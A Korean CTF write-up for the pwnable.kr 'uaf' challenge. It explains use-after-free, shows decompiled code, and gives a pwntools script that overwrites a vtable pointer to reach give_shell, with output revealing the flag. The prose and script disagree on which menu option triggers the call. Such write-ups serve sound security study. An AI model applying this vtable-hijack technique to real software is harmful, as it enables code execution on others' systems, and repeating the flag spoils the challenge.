UAF 취약점이란

    메모리를 해제하고나서,
    이전의 똑같은 크기로 할당했던 메모리 영역을 할당해서 참조하는 취약점.

    예제 코드:

    #include <stdio.h>
    #include <string.h>
    
    int main(void) {
            char *ptr = malloc(8);
            strcpy(ptr, "hellowor");
            free(ptr);
    
            char* ptr2 = malloc(8);
            strcpy(ptr2, "abcdefg");
    
            printf("ptr: %s\n", ptr);
            return 0;
    }

    결과:

    ptr: abcdefg

    보다시피 free(ptr)로 ptr을 메모리 할당을 해제 후,

    ptr2에 이전 ptr1과 같은 크기의 메모리를 할당하고
    ptr 데이터를 확인해보면,
    ptr2의 데이터가 출력되는 것을 확인할 수 있다.


    Description

    Mommy, what is Use After Free bug?

    ssh [email protected] -p2222 (pw:guest)


    checksec

    uaf@pwnable:~$ checksec --file ./uaf
    [*] '/home/uaf/uaf'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Decompiled-src

    main

    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      Human *v3; // rbx
      __int64 v4; // rdx
      Human *v5; // rbx
      int v6; // eax
      __int64 v7; // rax
      Human *v8; // rbx
      Human *v9; // rbx
      char v10[16]; // [rsp+10h] [rbp-50h] BYREF
      char v11[8]; // [rsp+20h] [rbp-40h] BYREF
      Human *v12; // [rsp+28h] [rbp-38h]
      Human *v13; // [rsp+30h] [rbp-30h]
      size_t nbytes; // [rsp+38h] [rbp-28h]
      void *buf; // [rsp+40h] [rbp-20h]
      int v16; // [rsp+48h] [rbp-18h] BYREF
      char v17; // [rsp+4Eh] [rbp-12h] BYREF
      char v18[17]; // [rsp+4Fh] [rbp-11h] BYREF
    
      std::allocator<char>::allocator(&v17, argv, envp);
      std::string::string(v10, "Jack", &v17);
      v3 = (Human *)operator new(0x18uLL);
      Man::Man(v3, v10, 25LL);
      v12 = v3;
      std::string::~string((std::string *)v10);
      std::allocator<char>::~allocator(&v17);
      std::allocator<char>::allocator(v18, v10, v4);
      std::string::string(v11, "Jill", v18);
      v5 = (Human *)operator new(0x18uLL);
      Woman::Woman(v5, v11, 21LL);
      v13 = v5;
      std::string::~string((std::string *)v11);
      std::allocator<char>::~allocator(v18);
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            std::operator<<<std::char_traits<char>>(&std::cout, "1. use\n2. after\n3. free\n");
            std::istream::operator>>(&std::cin, &v16);
            if ( v16 != 2 )
              break;
            nbytes = atoi(argv[1]);
            buf = (void *)operator new[](nbytes);
            v6 = open(argv[2], 0);
            read(v6, buf, nbytes);
            v7 = std::operator<<<std::char_traits<char>>(&std::cout, "your data is allocated");
            std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
          }
          if ( v16 == 3 )
            break;
          if ( v16 == 1 )
          {
            (*(void (__fastcall **)(Human *))(*(_QWORD *)v12 + 8LL))(v12);
            (*(void (__fastcall **)(Human *))(*(_QWORD *)v13 + 8LL))(v13);
          }
        }
        v8 = v12;
        if ( v12 )
        {
          Human::~Human(v12);
          operator delete(v8);
        }
        v9 = v13;
        if ( v13 )
        {
          Human::~Human(v13);
          operator delete(v9);
        }
      }
    }

    0x18만큼 메모리를 2번 힙영역으로부터 할당 받아서
    각각 v3, v5에 주소를 담는다.

    직접 디버깅해서 확인해보면,
    v3는 0x614EE0, v5는 0x614F30 주소에 있었다.

    0x18만큼 할당된 메모리 주소를 각각 살펴보면, 아래와 같다.

    할당하고나서 사용자로부터 입력을 받아온다.

    1번을 입력하면, 각 vtable + 0x18 주소에 있는 함수인 introduce가 호출되어,
    아래와 같이 출력된다.

    My name is Jack
    I am 25 years old
    I am a nice guy!
    My name is Jill
    I am 21 years old
    I am a cute girl!

    2번을 입력하면,
    argv[1] 크기 만큼 메모리를 buf에 힙영역으로부터 할당하고,
    읽기 전용모드로 argv[2] 파일을 열고 읽은 내용을 buf로 가져온다.

    3번을 입력하면,
    처음에 0x18만큼 메모리 2번 할당되었던 곳을 해제한다.


    Solution

    처음 프로그램을 실행할 때, 0x18만큼 메모리를 2번 할당하기 때문에
    UAF 취약점을 이용해서 원하는 메모리 주소로 이동해 호출하는 방법은 다음과 같다.

    먼저, 3번을 입력하여 2번 힙영역으로부터 메모리가 할당되었던 주소를 해제해준다.

    두번째로, 2번을 입력하여 0x18만큼 같은 크기의 메모리를 할당하게 만들고,
    할당되는 주소에는 (give_shell을 가리키는 주소 - 8)이 들어가게 만들면 된다.

    v13이 마지막으로 해제하므로,
    v12가 재사용되게 할려면,
    2번 호출해야한다.

    그리고 마지막으로 3번을 통해 함수를 호출하게되면,
    give_shell 함수가 호출되어 쉘을 획득할 수 있을 것이다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    #p1 = process(["./uaf", "24", "/dev/stdin"])
    #p1 = process(executable="/home/iotfragile/CTF/uaf/uaf", argv=["/home/iotfragile/CTF/uaf/uaf", "24", "/dev/stdin"])
    
    p = ssh("uaf", "pwnable.kr", port=2222, password="guest")
    p1 = p.process(executable="/home/uaf/uaf", argv=["/home/uaf/uaf", "24", "/dev/stdin"])
    
    p1.recvuntil("3. free\n")
    p1.sendline("3")
    
    for i in range(2):
        p1.recvuntil("3. free\n")
        p1.sendline("2")
        p1.send(p64(0x401548))
    
    p1.recvuntil("3. free")
    p1.sendline("1")
    
    p1.interactive()

    Result

    iotfragile@iotfragile:~/CTF/uaf$ python3 solve.py
    [+] Connecting to pwnable.kr on port 2222: Done
    [*] [email protected]:
        Distro    Ubuntu 16.04
        OS:       linux
        Arch:     amd64
        Version:  4.4.179
        ASLR:     Enabled
    [+] Starting remote process bytearray(b'/home/uaf/uaf') on pwnable.kr: pid 109075
    [*] Switching to interactive mode
    
    $ $ ls
    flag  uaf  uaf.cpp
    $ $ cat flag
    yay_f1ag_aft3r_pwning
    $ $

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다